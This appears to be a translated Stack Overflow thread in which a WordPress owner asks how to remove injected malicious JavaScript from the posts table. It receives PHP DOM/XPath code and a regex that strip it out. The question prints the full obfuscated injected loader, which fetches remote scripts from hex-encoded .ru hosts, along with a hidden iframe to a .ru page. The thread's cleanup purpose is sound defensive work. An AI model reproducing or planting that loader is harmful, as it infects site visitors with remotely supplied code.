2015-09-28 143 views
1

我在worpdress文章中遇到嵌入惡意代碼的問題。它看起來像:從Wordpress數據庫中篩選出惡意軟件javascript

<script>// <![CDATA[ 
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|;)"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("example.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); 
// ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe> 

而且我需要直接從wp_posts.post_content表中刪除它。 我想我需要執行一些正則表達式來從post_content行中選擇它,並用mysql REPLACE函數替換它。我想我可以用phpmyadmin來做,或者可以寫一些phpcode來執行這個動作,但是我仍然需要這個正則表達式來從數據庫中選擇javascript代碼!

Ty提前!

+0

檢查[this one](https://regex101.com/r/qZ5qA0/1),不確定這是你真正需要的。 –

+0

@stribizhev非常感謝! –

+0

它工作?我暫時不會發布我的正則表達式,也許有人會有其他想法。 –

回答

0

由於您使用的是PHP腳本,因此您可以嘗試使用PHP DOMDocument和DOMXPath來獲取所有發生的惡意<script>和節點。只要使用相應的XPath來獲取與內容的權利的標籤,並從DOM刪除整個兒:

$str = "<<YOUR HTML STRING>>"; 
$dom = new DOMDocument; 
@$dom->loadHTML($str, LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD); 
// OR @$dom->load($str); 
$xp = new DOMXPath($dom); 
$mal_scripts = $xp->query('//script[contains(text(), "window.a1336404323")]'); 
$mal_iframes = $xp->query('//iframe[@id="a1996667054"]'); 
foreach ($mal_scripts as $mal_script) { 
    $mal_script->parentNode->removeChild($mal_script); 
} 
foreach ($mal_iframes as $mal_iframe) { 
    $mal_iframe->parentNode->removeChild($mal_iframe); 
} 
echo @$dom->saveHTML(); 

IDEONE demo

regex到包含惡意代碼可以是類似的字符串匹配

<script>\s*\/\/\s*<!\[CDATA\[\s*window\.a1336404323[\s\S*]*?<\/script>\s*<iframe id="a1996667054"[^<>]*><\/iframe> 

根據您的需要進行調整。

+0

Thx爲腳本,但我有這個腳本在數據庫中,所以我需要選擇所有包含此記錄,並從每個記錄中刪除這一堆代碼並更新 –

+0

,Thx尋求幫助!非常感激!完全解決! –